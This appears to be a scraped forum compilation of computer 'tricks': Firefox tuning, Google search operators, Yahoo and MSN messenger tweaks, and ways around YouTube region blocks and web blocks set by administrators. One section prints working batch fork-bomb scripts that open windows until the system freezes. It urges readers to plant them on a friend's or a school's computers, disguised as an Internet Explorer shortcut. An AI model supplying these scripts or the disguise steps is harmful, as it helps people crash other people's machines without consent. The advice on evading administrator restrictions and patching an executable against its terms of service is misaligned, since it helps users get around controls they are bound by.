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Internet users face problems accessing Youtube website when different countries decide to try internet censorship and ISPs block access to Youtube You could be staying in countries like the UK and USA and may not be able to watch certain videos on Youtube. The message “This video is not available in your country” comes up. Now this is not because of any censorship or ISPs blocking access to this video but this is because the owner and poster of videos use Youtube filters to limit these videos to one or more countries.

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There are many such videos like Armor for sleep – Hold the door is not available outside USA and BBC’s clip Stop calling it a Honeymoon can only be watched in the UK.
Bypass Youtube Region Filtering To Watch Blocked Youtube Videos

Youtube determine your physical location (country) from the IP address of your computer. This trick can bypass this country-specific limitation.

If the URL of Youtube Video is:

    https://www_youttube.com/watch?v=abcdefghijk

Replace /watch?v=part with /v so that your new URL is now:

    https://www_youtube.com/v/abcdefghijk

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The Safe guide on how to speed up FireFox 3.5

Most us like Firefox (70% of users do) but it’s not as fast as it used to be. This is a comprehensive, safe guide to optimizing Firefox 3.5 for speedy browsing. For each suggestion, your mileage may vary. Before you proceed, create a new profile.

Quit Firefox, run “firefox.exe –profilemanager”, and create a new profile to experiment on. Use the new profile as your default only if your performance improves. Only those changes needed from a default installation are mentioned in this guide.[/align]

• Use an You must login or register to view this content.:
  
  
  
  • If you’re using Windows, use an optimized build of Firefox 3.5.1 for your processor. Use You must login or register to view this content. for Linux.
    

• Use Blank Homepage, Default Theme, Minimal Extensions:
  
  
  
  • You must login or register to view this content. to about:blank. Use only must-have extensions with the default theme. Use You must login or register to view this content. and You must login or register to view this content. to block unwanted ads and Flash.
    

• Optimize Download Options:
  
  
  
  • In Options->Main, choose a folder for your downloads and save all downloads to it automatically. Close the download window automatically when all downloads are finished. Turn off download history in Options->Privacy, Custom settings for history.
    
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• Customize Content Type Handling:
  
  
  
  • In Options->Applications, modify the following Content Types:
    
    
    
    • Set archive files like .zip, .rar, etc. to Save File. Use your favorite archive program separately to open them.
      
    • Set PDF files to Save File. Use your favorite PDF reader to separately open them.
      
    • Set mailto to use your favorite desktop email client or Gmail/Yahoo webmail account. Sorry, Windows Live/AOL Mail users!
      
    • Change Web Feed from Preview in Firefox to your favorite RSS reader.
      
    
    
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  • In general, open files separately, rather than from within the browser wherever possible.
    

• Increase Cache, Reduce History Size
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  • In Options->Advanced->Network, increase Offline Storage (size of the disk cache) to 150 MB.
    
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  • In Options->Privacy, use Custom settings for history, and reduce length of remembered history to 15 days.
    
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• Customize General Advanced Options:
  
  
  
  • In Options->Advanced->General->Accessibility:
    
    
    
    • Check Search for text when I start typing
      
    • Uncheck Use smooth scrolling
      
    • Turn off spell checker if you ROTFLMAO on forums and don’t aspire to be a writer. Keep it on if you’re looking for a job.
      
    • Uncheck Always check to see if Firefox is the default browser on startup. On Windows, set Firefox as your default browser using You must login or register to view this content..
      
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• Remove Unused Search Engines
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  • Drop-down In the search box, select Manage Search Engines, and remove any search engines that you will never use.
    
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• Clean up bookmarks, avoid Live Bookmarks:
  
  
  
  • If you have a lot of bookmarks in Firefox, you might have dead links, or even duplicate bookmarks. Clean them up using the You must login or register to view this content. Firefox extension, and uninstall after you’re done.
    
  • Firefox checks Live Bookmarks every hour for updates. Use a dedicated RSS Reader like Google Reader instead. Delete the preset Latest Headlines Live Bookmark.
    

• Performance Enhancing Extensions
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  • If you prefer a nice GUI to tweak advanced settings, use these performance enhancing Firefox extensions. If you are the DIY type, these optimizations (and many more) are covered in the next sections.
    
    
    
    • You must login or register to view this content. is an (experimental) add-on that lets you choose from four presets (or use a custom profile) to optimize Firefox.
      
    • You must login or register to view this content. allows you to choose from Default and Power profiles for tweaking network settings in Firefox.
      
    
    
  • Advanced about:config Tweaks:
    
    
    
    • The following two sections are advanced Firefox configuration changes that are simple to make. Enter about:config in the Firefox address bar in an empty tab. Click ‘I’ll be careful, I promise!’. You can use Firefox’s Safe Mode and select ‘Reset all user preferences to Firefox defaults’ to undo any changes you make. Also, entries you change are displayed in bold, and can be reset using the right-click context-menu.
      
    • If an entry does not exist, create it by right-clicking on an empty space, selecting New, and choosing the type of entry as listed.
      
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• Advanced Browser Settings:
  
  
  
  • You can use these recommended values or tweak them as per your system, preference, and browsing habits.
    
    
    
    • accessibility.typeaheadfind.enablesound [Boolean]: Change to False to avoid a sound alert if no match is found when you search for text.
      
    • alerts.totalOpenTime [Integer]: Reduce time to show Download Complete alerts to 2000 (2 seconds).
      
    • browser.bookmarks.max_backups [Integer]: Reduce number of bookmark backups to speed up shutdown from 5 to 2.
      
    • browser.cache.disk.parent_directory [String]: Move your Firefox cache to a disk or partition different from your Windows drive by specifying the folder path here.
      
    • browser.download.manager.openDelay [Integer]: Don’t open Downloads window for very short downloads. Set to 2000 (2 second delay).
      
    • browser.sessionstore.max_tabs_undo [Integer]: Reduce number of closed tabs you can undo from 10 to 4.
      
    • browser.sessionstore.max_windows_undo [Integer]: Reduce number of closed windows you can undo from 3 to 1.
      
    • browser.tabs.closeWindowWithLastTab [Boolean]: Change to False, so that Firefox doesn’t accidentally shut down when you close the last tab.
      
    • browser.urlbar.maxRichResults [Integer]: Reduce maximum number of results in Awesome Bar from 12 to 6.
      
    • dom.popup_maximum [Integer]: Reduce maximum number of simultaneous popups from 20 to 3 or 5.
      
    • security.dialog_enable_delay [Integer]: Reduce delay to wait before installing a new extension to 1000 (1 second). Setting to zero is You must login or register to view this content. because of security risks.
      
    
    
    

• Advance Network Settings:
  
  
  
  • These changes are recommended for broadband users with at least a 2 Mbps (256 kB/s) connection.
    
    
    
    • network.dnsCacheEntries [Integer]: Increase number of DNS entries cached from default 20 to 512.
      
    • network.dnsCacheExpiration [Integer]: Increase number of seconds DNS entries are cached from default 60 to 3600.
      
    • network.dns.disableIPv6 [Boolean]: Disable You must login or register to view this content. if your ISP doesn’t support it (most don’t).
      
    • network.http.max-connections [Integer]: Increase maximum number of simultaneous connections to 48 or 96.
      
    • network.http.max-connections-per-server [Integer]: Increase maximum connections per server from default 15 to 24.
      
    • network.http.max-persistent-connections-per-server [Integer]: Increase maximum persistent connections per server from default 6 to 12.
      
    • network.http.pipelining [Boolean]: Change to True to enable HTTP Pipelining.
      
    • network.http.pipelining.maxrequests [Integer]: Increase from default 4 to 8.
      
    • network.prefetch-next [Boolean]: This specifies whether Firefox pre-fetches web pages (and associated cookies) even before you visit them. It is most frequently used to pre-load the first result of a Google search. If you want to improve security and don’t want Firefox to load pages you never actually visit, change this to False.
      
    
    

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Windows Trick:
Show your name on the clock

Follow the Steps Below:

1. Go to Control Panel and open Regional and Language Options.
   
2. Click Customize, then go to Time tab (located on the upper side).
   
3. Go to the AM symbol and type your name after the “AM”. Do the same on the PM symbol.
   
4. That’s all. Now, click OK and it’s done.
   
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You can change the AM and PM symbol with any word that you like. Take note that the maximum length of the string (word) is only 12 characters.

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Personalize your own Google Logo and Backround (FireFox Only)

• Change Google Background:
  
  
  
  • Go to You must login or register to view this content..
    
  • Enter the name and upload the picture.
    
  • Click on Create Here.
    
  
  

You will see your own picture as Background. Bookmark it and make it as your homepage. Every time you open your browser your saved personalized page will appear.

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How to make your text upside down


Ever wanted to write text upside down on websites? Click on this You must login or register to view this content. and start flipping away everything that you type instantly. You can then copy/paste them on wherever you want.

˙ʇuɐʍ noʎ ɹǝʌǝɹǝɥʍ uo ɯǝɥʇ ǝʇsɐd/ʎdoɔ uǝɥʇ uɐɔ noʎ ˙ʎןʇuɐʇsuı ǝdʎʇ noʎ ʇɐɥʇ buıɥʇʎɹǝʌǝ ʎɐʍɐ buıddıןɟ ʇɹɐʇs puɐ ʞuıן sıɥʇ uo ʞɔıןɔ ¿sǝʇısqǝʍ uo uʍop ǝpısdn ʇxǝʇ ǝʇıɹʍ oʇ pǝʇuɐʍ ɹǝʌǝ

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Create ZIP files free and easy!

• NippyZip:
  
  
  
  • Visit You must login or register to view this content., upload individual files, let NippyZip do its magic then download the zipped file.
    
  • 
    NippyZip is a provider of a free and secure online compression utility for all your files.
    Email your zipped files to friends, family, associates or work colleagues.
    Download zipped files for your own personal use while on the move, in the office or at home.
    

• Gmail:
  
  
  
  • Send the files you want to zip to your Gmail address as attachments. Open the email, click on "Download All Attachments". Gmail will automatically send you a zipped file.
    
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How to crash computers by creating a virus

Just go to notepad (start>all programs>accessories>notepad) and type exactly this script btween the lines:

@echo off
:crash
start goto
crash

goto file>save as>crash.bat
and save! But remember when you open this file command prompt windows will open until the computer crashes or freezes so it would be better if you placed this on a friend's or the school's computers.


There are different scripts that you can write in notepad to get a batch file with similar reactions.
such as:
@echo off
:start
start %0
goto start


@echo off
:1
start iexplore.exe
goto 1

@echo off
:folder
md *
goto folder

@echo off
:1
start
echo Windows is now crashing . . .
goto 1

When you place this file on someone else's computer you have to make the file look persuasive to click on desktop. So find the crash.bat file in documents or all files, right-click it>send to>desktop(create shortcut). Now find it on your desktop>right click>properties>change icon>change it to nternet explorer icon>apply>exit. Right click it again>rename>rename to: Internet Explorer

To recover your desktop (PC) from this just directly pull the plugs from your PC and put the plugs back in and start it up again or just hold the power button on your PC until it turns off and restart again.
I'm not sure about how to recover from this with labtops.

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Yahoo Messenger Tricks

• Find invisible users on your Yahoo! Messenger list:
  
  
  
  • Want to find out someone who’s hiding from you? You can easily do so by going to You must login or register to view this content.. All you need to do is type in the Yahoo! ID and the particular users status will be revealed.

• Run Multiple Instances of Yahoo! Messenger on same system:
  
  
  
  • Some of you might be having more than one Yahoo! ID would like to log in simultaneously. Here is an easy way to do it without installing any sort of software. You just have to edit the registry and voila there you go. Follow the instructions You must login or register to view this content..
    

• Invisible nickname on chat rooms:
  
  
  
  • Just go to edit profile and in the nick name type a (space character) on it just press Alt 0160 ( or ALT+255 ) and save it.
    
  • Now go to any Yahoo! chat room and you’ll notice that your nick name is empty. [Alt+0160 is a keyboard shortcut for space]
    

• Removing Ads from your Yahoo! Messenger:
  
  
  
  • If you are using Yahoo! Messenger 8.0, then you can disable ads by following the below steps:
    
    
    
    1. First close the Yahoo! Messenger.
       
    2. Save this You must login or register to view this content. file and execute it. (Note: You won’t be able to enter the chat rooms if you use this patch.)
       
    
    
    
  • This above fix doesn’t work for Yahoo! Messenger 9 Beta. Here’s a way to disable the ads in Yahoo! Messenger 9:
    
    
    
    1. Make sure the Yahoo! Messenger isn’t running, if it is then just close it.
       
    2. Now backup the following file C:\Program Files\Yahoo!\Messenger\Yahoo!Messenger.exe (create a new copy)
       
    3. Download You must login or register to view this content. hex editor.
       
    4. Open C:\Program Files\Yahoo!\Messenger\Yahoo!Messenger.exe in the hex editor
       
    5. Now go to the offset 295928 (in Hx Search/GoTo)
       
    6. Look at the right column and replace y from “y.m.s.g.r.a.d.s” with p
       
    7. Save the file and close HxD.
       
  
  
  
  
  • Note: This approach breaks Yahoo! Messenger’s terms of service.
    
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• Yahoo! Smiley Codes:
  
  
  
  • You can make use of all smileys including hidden ones in your messenger by using [url=https://gallery.Yahoo!.com/apps/380/locale/en]YEmotePLUS plugin[/url].
    

• Change the Yahoo! Messenger Title Bar:
  
  
  
  • You can change the text that appears at the very top of the Yahoo! messenger window by editing the ymsgr.ini file.
    
    
    
    1. Go to Program Files\Yahoo!\ and open ymsgr.ini.
       
    2. Then at the end, type this:
       [APP TITLE]
       caption=YOUR TEXT
       
    3. Change YOUR TEXT to whatever you want it to say. Then save the file and close messenger. When you restart messenger you will see your new message.
       
    
    

• Creating Custom Profiles for Chat:
  
  
  
  • You can create custom profiles with different name, sex and other details from [url=https://login.Yahoo!.com/?.done=http%3A%2F%2Fprofiles.Yahoo!.com%2F%3F.src%3Dytc%26.done%3Dhttp%3A%2F%2Fmembers.Yahoo!.com%26.redir_from%3DREGISTRATION&.intl=ph&.src=prf]Yahoo! Create/Edit Profiles[/url]. You can use these for chat services only.
    

• Online Status Changer and Manager:
  
  
  
  • HyperIM is currently the best status changer & manager for Yahoo! messenger available at present. You can download it You must login or register to view this content..
    

• Retrieve Yahoo! Messenger Display pictures
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  • Y! Display Pic will retrieve Yahoo! users even if they are offline or invisible. You can download it You must login or register to view this content..
    

• Access Yahoo! Messenger Chat archives while offline:
  
  
  
  • You can access your Yahoo! chat logs using Yahoo! Message Archive Decoder. It reads Yahoo! Messenger archive files (.dat files) and presents them in a format that you can read. It decodes the message archive without logging in (offline mode and no passwords required). You can download it You must login or register to view this content..
    

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MSN Messenger Tricks

• Sending Continuous Nudge
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  • You might have experienced this before: one of your friend on MSN messenger keeps sending you non-stop nudges continuously, until you can hardly do anything on your MSN messenger. When you try to do the same back to him, you get the message "You may not send a nudge that often". If you have this experience before, I bet you will be desperately trying to find out how did your friend do those annoying stuff while you are not able to the same. And the answer is you need to install the You must login or register to view this content. in order to do this. Just download the script and execute it (double click the .plsc file.. you will get a warning message.. just check the the check box that says "I accept the responsibility of installing this script" and click 'Import'. After installing the script, you will now be able to send continuous nudges to your friend with no delay. If you really want to annoy any of your friend , type "/sendnudge 1000 100" (without the double quotes) and hit enter. Your friend will then get 1000 nudges every 100 milliseconds! By the default setting, your own chat window will also be vibrating when you send nudges.. To prevent vibration on your own chat window, do this: go to Tools > Option > Messages, and uncheck the "Allow me to send and receive nudges" checkbox so that your chat window will not vibrate when sending nudges to your friend. To stop the nudges, type "/stopnudge" and it will stop immediately.
    

• Find out if somebody has blocked you on MSN:
  
  
  
  • This is probably one of the most frequently asked question: how can I know if someone has block me on MSN messenger. There are lots of online services out there which claims to be able to check if someone has blocked you. As far as I know, many of them contains some sort of spyware, and will intrudes your MSN and sends annoying automated messages to all of your contacts. So instead of using those so called MSN block checker, here's a manual way to check if someone has blocked you.
    
    
    
    1. Register a new MSN account. Use a different nick name so that no one can recognize that it's you.
       
    2. Sign in to MSN on both your actual account and your new fake account. Having MP!L installed, you can sign in to 2 separate session of MSN simultaneously using different account.
       
    3. Add the contact that you want to check using your new account. If at anytime, someone appears online, or accept you into his/her contact on the new account, but appears offline in your actual account, he/she has blocked you.
       
    
    (This seems to be a more troublesome way, but it saves you from being intruded by spyware, and most importantly, it works.)
    

• Cool effects on MSN display name:
  
  
  
  • This is a cool trick that enable you to easily edit your display name and make it looks cooler. Install the script You must login or register to view this content.. Then go to the script button (somewhere on the top of the messenger), and choose NameEditor > Edit Name. The Name Editor window will appears, which which enable you to fill in some cool effects for your display name. This will easily make your name stand out among all the names in your friends' contact list.
    

• Check Gmail with MSN Messenger:
  
  
  
  • The original MSN Messenger will only alert you when you receive an email in your Hotmail account. With the You must login or register to view this content. script, we will also be receiving incoming email alert for Gmail account. A pretty useful feature to be added to MSN Messenger!
    

• Let your keyboard's LED alert you when you have incoming message:
  
  
  
  • This is a cool script that will flashes your keyboard's LED, and plays a beep sound from your laptop when you receive incoming MSN message. Just install the script You must login or register to view this content., and start playing around with the script configuration. You can specify which LED to flash (Num Lock / Caps Lock / Scroll Lock), the speed of the flashes, amount of the flashes, etc.. Simple and fun!
    

• Easily translate the text in chat window:
  
  
  
  • Another very useful and cool script to be installed on your MSN messenger is the You must login or register to view this content.. You can easily translate the text in your chat window into another language by just hitting F5 on your keyboard. As the script name suggest, this script is using Google's translator to do the translation.. which means it supports multiple languages translation! A really useful script.
    

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Firefox Tricks

• More Screen Space:
  
  
  
  • Make your icons small. Go to View - Toolbars - Customize and check the “Use small icons” box.
    

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  • If there’s a search you use a lot (let’s say IMDB.com’s people search), this is an awesome tool that not many people use. Right-click on the search box, select “Add a Keyword for this search”, give the keyword a name and an easy-to-type and easy-to-remember shortcut name (let’s say “actor”) and save it. Now, when you want to do an actor search, go to Firefox’s address bar, type “actor” and the name of the actor and press return. Instant search! You can do this with any search box.
    

• Keyboard Shortcuts:
  
  
  
  • This is where you become a real Jedi. It just takes a little while to learn these, but once you do, your browsing will be super fast. Here are some of the most common.
    
    
    
    • Spacebar - Page Down
      
    • Shift-Spacebar - Page Up
      
    • Ctrl+F - Find
      
    • Alt-N - Find Next
      
    • Ctrl+D - Bookmark Page
      
    • Ctrl+T - New Tab
      
    • Ctrl+K - Go to Search Box
      
    • Ctrl+L - Go to Address Bar
      
    • Ctrl+= - Increase Text Size
      
    • Ctrl+- - Decrease Text Size
      
    • F5 - Reload
      
    • Alt-Home - Go to Home Page
      
    
    

• Auto Complete:
  
  
  
  • This is another keyboard shortcut, but it’s not commonly known and very useful. Go to the address bar (Control-L) and type the name of the site without the “www” or the “.com”. Let’s say “google”. Then press Control-Enter, and it will automatically fill in the “www” and the “.com” and take you there - like magic! For .net addresses, press Shift-Enter, and for .org addresses, press Control-Shift-Enter.
    

• Tab Navigation:
  
  
  
  • Instead of using the mouse to select different tabs that you have open, use the keyboard. Here are the shortcuts.
    
    
    
    • Ctrl+Tab - Rotate Forward Among Tabs
      
    • Ctrl+Shft+Tab - Rotate to the Previous Tab
      
    • Ctrl+1-9 - Choose a number to jump to a specific Tab
      
    
    

• Mouse Shortcuts:
  
  
  
  • Sometimes you’re already using your mouse and it’s easier to use a mouse shortcut than to go back to the keyboard. Master these cool ones.
    
    
    
    • Middle Click on Link - Opens in new Tab
      
    • Shift-Scroll Down - Previous Page
      
    • Shift-Scroll Up - Next Page
      
    • Ctrl-Scroll Up - Decrease Text Size
      
    • Ctrl-Scroll Down - In Text Size
      
    • Middle Click on a Tab - Closes Tab
      
    
    

• Delete Items from Address Bar History:
  
  
  
  • Firefox’s ability to automatically show previous URLs you’ve visited, as you type, in the address bar’s drop-down history menu is very cool. But sometimes you just don’t want those URLs to show up (I won’t ask why). Go to the address bar (Ctrl-L), start typing an address, and the drop-down menu will appear with the URLs of pages you’ve visited with those letters in them. Use the down-arrow to go down to an address you want to delete, and press the Delete key to make it disappear.
    

• User Chrome:
  
  
  
  • If you really want to trick out your Firefox, you’ll want to create a UserChrome.css file and customize your browser. It’s a bit complicated to get into here, but check out this You must login or register to view this content..
    

• Create a user.js file:
  
  
  
  • Another way to customize Firefox, creating a user.js file can really speed up your browsing. You’ll need to create a text file named user.js in your profile folder (see You must login or register to view this content. to find out where the profile folder is) and You must login or register to view this content. that you can modify. Created by techlifeweb.com, this example explains some of the things you can do in its comments.
    
    

• about:config:
  
  
  
  • The true power user’s tool, about.config isn’t something to mess with if you don’t know what a setting does. You can get to the main configuration screen by putting about:config in the browser’s address bar. See Mozillazine’s You must login or register to view this content..
    

• Add a Keyword for a Bookmark:
  
  
  
  • Go to your bookmarks much faster by giving them keywords. Right-click the bookmark and then select Properties. Put a short keyword in the keyword field, save it, and now you can type that keyword in the address bar and it will go to that bookmark.
    

• Speed Up Firefox:
  
  
  
  • If you have a broadband connection (and most of us do), you can use pipelining to speed up your page loads. This allows Firefox to load multiple things on a page at once, instead of one at a time (by default, it’s optimized for dialup connections). Here’s how.
    
    
    
    • Type “about:config” into the address bar and hit return. Type “network.http” in the filter field, and change the following settings (double-click on them to change them)
      
    • Set “network.http.pipelining” to “true”
      
    • Set “network.http.proxy.pipelining” to “true”
      
    • Set “network.http.pipelining.maxrequests” to a number like 30. This will allow it to make 30 requests at once.
      
    • Also, right-click anywhere and select New-> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0?. This value is the amount of time the browser waits before it acts on information it receives.
      

• Limit RAM Usage:
  
  
  
  • If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us. Again, go to about:config, filter “browser.cache” and select “browser.cache.disk.capacity”. It’s set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.
    

• Reduce RAM Usage further for when Firefox is Minimized:
  
  
  
  • This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go. Again, go to about:config, right-click anywhere and select New-> Boolean. Name it “config.trim_on_minimize” and set it to TRUE. You have to restart Firefox for these settings to take effect.
    

• Move or Remove the Close Tab button:
  
  
  
  • Do you accidentally click on the close button of Firefox’s tabs? You can move them or remove them, again through about:config. Edit the preference for “browser.tabs.closeButtons”. Here are the meanings of each value.
    
    
    
    • 0: Display a Close Button on the Active Tab only
      
    • 1: (Default) Display Close Buttons on all Tabs
      
    • 1: (Default) Display Close Buttons on all Tabs
      
    • 3: Display a single Close Button at the end of the Tab Bar (Firefox 1.x Behavior)
      
    
    

• Build your own Firefox Search Engine:
  
  
  
  • Want to power up Firefox's search box? It's easy to create your own search engine, so that you can rifle through any site from right within Firefox. Adding a search engine that has already been written, of course, is easy. Click the down arrow to the left of the search box, select "Manage Search Engines," then click the "Get more search engines" link at the bottom of the screen. From the Web site that appears, click the search engine you want to install, and you're done.
    
    
  • There are plenty of sites that don't have prebuilt search engines, though. No problem: It's easy to build your own search engine. First install the OpenSearchFox add-on. Then, when you're on a search site, right-click the search box and choose the Add OpenSearch plug-in. From the screen that appears (shown below), type in the name that you want to be associated with the search engine, add a description of the search engine and click Next. Then click Finish, and the site will be added as a search engine that you can choose like any other -- by clicking the arrow to the left of the search box and selecting the engine.
    
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  • Note that as of this writing, OpenSearchFox doesn't work properly with Firefox v. 2.0.0.10 or 2.0.0.11, although it may be fixed as you read this. When you use the add-on in v. 2.0.0.1 or 2.0.0.11, you'll get an error message after you click Finish, although in some instances, even if you get the error message, the search engine will still be added.
    

• Use Keywords to Speed Up your Searching:
  
  
  
  • Don't want to go to the trouble of adding your search engine -- or you can't get OpenSearchFox to work properly? Here's another way to do an instant search. When you're at a site, right-click on its search box and select "Add a Keyword for this Search." Type in a name for it and an easy-to-remember shortcut (for example, hp for the Huffington Post blog site). Then click OK. Now, to search the site, go to the Address Bar, and type in your shortcut, followed by a search term, such as hp Clinton. You'll search the site, just as if you were there. Note that on occasion, the search won't work properly, but it will on most sites.
    

• Use Keywords to Speed Up Bookmarks:
  
  
  
  • Visiting your favorite sites using Firefox's bookmarks is far too much of a chore -- do you really want to do all that mousing around? Instead, you can use keywords to instantly jump to any site you've bookmarked. To do it, after you bookmark a site, right-click on the bookmark, select Properties, type in a short keyword (or even just a letter or two) in the keyword field and click OK. Now, to visit the site, type in the keyword in Firefox's address bar, and you'll jump straight to the site.
    
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• Put your own Graphic on the Firefox Toolbar:
  
  
  
  • If you don't like the plain background of Firefox's tool bar, don't worry -- you can put your own graphic there. Type the following into the userChrome.css file and put the graphic that you want to use, background.gif, in the same directory as userChrome.css. The graphic can be any name and any type of image file supported by Firefox.
    
    
  • Here's the code to use:
    /* Change the toolbar graphic */
    menubar, toolbox, toolbar, .tabbrowser-tabs {
    background-image: url("background.gif") !important;
    background-color: none !important;
    }
    
    
  • The graphic you use will automatically be scaled to fit the Toolbar. For example, if it's small, it will be tiled.
    

• Hack the Stop, Back and Forward Buttons:
  
  
  
  • Are you a minimalist? Does it annoy you that there's a big fat Stop button on the Firefox tool bar, even when there's nothing to stop? And how about the Forward and Back buttons -- if there's no place to go forward or back, would you like them simply to disappear?
    You're in luck, because it's simple to do. Add these lines below to userChrome.css. Note that even after this trick, the buttons will appear when there's a use for them. For example, when a page is loading, the Stop button will appear, so that you can stop loading the page; it just won't appear when a page isn't loading. And the Forward and Back buttons will appear when there's something to go forward or back to.
    
    
  • /* Remove the Stop button when content isn't loading*/
    #stop-button[disabled="true"] { display: none; }
    
    
  • /* Remove the Back button when there's nothing to go back to */
    #back-button[disabled="true"] { display: none; }
    
    
  • /* Remove the Forward button when there's nothing to go forward to */
    #forward-button[disabled="true"] { display: none; }
    
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• Move the Sidebar to the Right:
  
  
  
  • Firefox has a sidebar for viewing your history or bookmarks. It normally displays on the left-hand side when you choose View-->Sidebar. If you prefer, though, you can have the sidebar instead appear on the right, by typing this code into the userChrome.css file.
    
    
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    /* Place the sidebar on the right edge of the window */
    hbox#browser { direction: rtl; }
    hbox#browser > vbox { direction: ltr; }
    
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  • After hacking userChrome.css, you can make the Sidebar appear on the right, instead of on the left.
    

• Change the Search Bar Width:
  
  
  
  • Don't like the width of the search bar on the upper-right hand corner of Firefox? No problem -- it's easy to change. All you need to do is specify the width you want, in pixels. Use this code in userChrome.css to tell the search bar to be 600 pixels wide, but you can, of course, use whatever size you want.
    
    
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    /* Make the Search box wider
    (in this case 600 pixels wide) */
    #search-container, #searchbar {
    max-width: 600px !important;
    width: 600px !important; }
    
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• Remove Menu Items:
  
  
  
  • Are there menu items (for example, Help) that you never use? If so, you can easily make them disappear. To remove the Help menu, add this to userChrome.css.
    
  • /* Remove the Help menu */
    menu[label="Help"] {
    display: none !important; }
    
    
  • You can remove any of the other menus as well. Use the same syntax as above and substitute its name (File, Edit, View, History, Bookmarks or Tools). So, for example, to remove both the Help and Tools menu, you'd add these lines to userChrome.css.
    
    
  • /* Remove the Help and Tools menus */
    menu[label="Tools"], menu[label="Help"] {
    display: none !important; }
    
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Google Search Tricks

• Google Calculator:
  
  
  
  • Google search can be used as a calculator. It can calculate anything from the simplest math to the most complex equation. All you need to do is just enter the math in the search box and hit enter. You can use the following functions:
    
    
    
    1. + - Add
       
    2. - - Subtract
       
    3. * - Multiply
       
    4. / - Divide
       
    5. ^ - To the Power Of
       
    6. sqrt - Square Root of a Number
       
    
    

• Dictionary Definitions:
  
  
  
  • You can define any word by entering “define:” following the word. For example define: ignoble
    Google will display a list of dictionary definitions for that word.
    
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• Search for a Specific Title:
  
  
  
  • Suppose you came across a great article which you really liked but unfortunately forgot to bookmark it then you can find it easily with the help of Google provided you know the title of the article. Here’s how you do it:
    Let’s say you read an article “Women talk three times as much as men” then you can search for it by typing “intitle: Women talk three times as much as men”
    
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• Google Converter:
  
  
  
  • Using this feature you can convert units like millimeter into inches, kilometers into miles, liters into ml, etc. You can do so by typing ‘25km in miles’ for converting km in to miles, ‘50litres in ml’ for converting litres into ml, and so on.
    
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• Google Currency Converter:
  
  
  
  • Google’s search has an inbuilt currency converter. It allows you to perform any currency conversion. All you need to do is just enter the conversion you’d like done into the Google search box and hit “Enter” or click the Google Search button. For instance: “1 USD in INR”
    
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• Weather Updates:
  
  
  
  • You can easily know the weather condition of a specific place. In order to find out, all you need to do is just enter the place name followed by “weather”. For ex: “london weather”
    
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• Search on a Particular File Types:
  
  
  
  • There are various kinds of files available over the net. Searching for a specific file type isn’t really easy. But using this tip you can easily search for a specific file type.
    For instance if you want to search for a guide, let’s say a ‘Guide to Building a Successful IT Career’ in ppt format. You can make use of the “filetype:” function. So in order to search for the PPT version of the guide you can enter in search bar ‘Guide to Building a Successful IT Career filetype:ppt’
    
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• Search on a Particular Website:
  
  
  
  • If you want to search for something from a particular site using Google search then you can do so by using the “site:” feature. Here’s how you do it:
    Let’s say you want to search for cloverfield DVD on Amazon, you can do so by typing “cloverfield DVD site:[url]www.amazon.com”[/url]
    
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• Get the Local Time anywhere:
  
  
  
  • Wanna know what time is it in London now? You can ask Google by typing “what time is it London” in the search bar. You can also enter “time (location)” without the quotes.
    
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• Remove Unwanted Search Results:
  
  
  
  • Suppose you wanted to search a Harry potter book review but you ended up in getting reviews of the movie rather than the book. Well in this case you can make Google to exclude the movie results from the search. You can do so by adding “-movie” at the end of the term. For instance: “Harry potter Chamber of secrets -movie” This will give search results excluding the movie- The chamber of secrets.
    
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• Search for URL's:
  
  
  
  • You can even search for URLs in Google search.For instance: “Women_talk_three_times_as_much_as_men”. You can also use “.” “-” instead of “_“. The search will bring up results with the URLs containing the above words entered.
    
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• Track Flight Status:
  
  
  
  • You can also track a particular flight status. All you need to do is just enter the airline and flight number into the search box and hit enter. You’ll get the arrival and departure time of the flight right inside Google’s search results.
    
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• Search Google Groups by the Subject Line:
  
  
  
  • You need to be in the google groups search page before attempting this query; otherwise it might not work correctly. Using the “insubject:” function you can search google groups by the subject line. For instance “insubject:windows xp fast shutdown”
    
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• Find Related Sites:
  
  
  
  • Suppose you find an interesting website and you would like to find some other alternative to this site then you can do so by using “related:” function. For instance if you want to search an alternative for google.com you can do so by entering “related:[url]www.google.com”[/url]
    
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• Find Links to a Specific URL:
  
  
  
  • You can find the webpages which have a link to a specific URL using the “link:” function. This is really great as it will help you if you own a website, you can easily find out the pages linking to a page in your site. To use it, you need to enter the whole URL after “link:”
    For instance “link:[url]https://www.cnn.com”[/url]
    Well that’s it for now, hope you liked them. If you know more feel free to mention them here.
    
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• Whois Lookup Service:
  
  
  
  • You can also search for information on a particular domain name. Just type in “whois domain.com” and hit enter. You’ll get to see the creation and expiry dates of the domain.
    

• Suggests Words, Phrases and their Results:
  
  
  
  • This is really helpful if you aren’t able to spell a particular word or you would like to know the results a particular word would contain when searched.
    

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How to Search the Internet without a search engine

Ever find yourself sitting in front of a computer where Internet Explorer or Firefox was blocked by IT Administrator, and restricted you from installing any software? If that PC is running Windows XP, then there is chance for you to still surf Internet. Just follow these simple steps:

1. Open Calculator, Start> Program Files> Accessories> Calculator or press Windows+R and type ‘calc’ in the run box, click OK.
   
2. In Calculator, go to Help> Help Topics.
   
3. Right click on the left hand side of the title bar and click on ‘Jump to URL’.
   
4. Type in the URL and make sure include the ‘[url]https://’[/url] at the beginning.
   

• Note:
  
  • Basically what you are looking at is Internet Explorer 6 inside a help window, but this version of program isn’t quite smart as Internet 6. This was tested in Windows XP SP2 with Internet Explorer 6 and I’m not sure whether it will works in Internet Explorer 7 installed computer.
    

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Set Multiple Pages in Firefox

Did you people ever wish to set-up multiple home pages in Firefox ?
If you said yes, then you are at the right place. Here’s the way to do this little but useful little trick.
Suppose you would like to set Symbianize, Google and Friendster as your homepages. Then try this tweak in Firefox to set multiple homepages. This is what you should do.

1. Go to Tools>Options>Main
   
2. In the When Firefox starts drop down menu choose Show my home page.
   
3. In Home page give your homepages separated by a | (pipe symbol).
   Example:
   

       https://www.hackforums.net/|https://www.google.com|https://www.facebook.com/
   

   
   
4. Click OK
   

Now next time when you start Firefox all of your three home pages will be displayed simultaneously.

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Block/Unblock Website without softwares

Many times in schools, colleges & offices surfing some sites are banned.
To overcome this you can unblock these or block some other websites and play pranks !

Follow the Instructions Below:

1. Open the folder C:\WINDOWS\system32\drivers\etc
   
2. There you will find a file named HOSTS
   
3. Click on the file and right click.
   
4. From the right click menu select Open with.
   
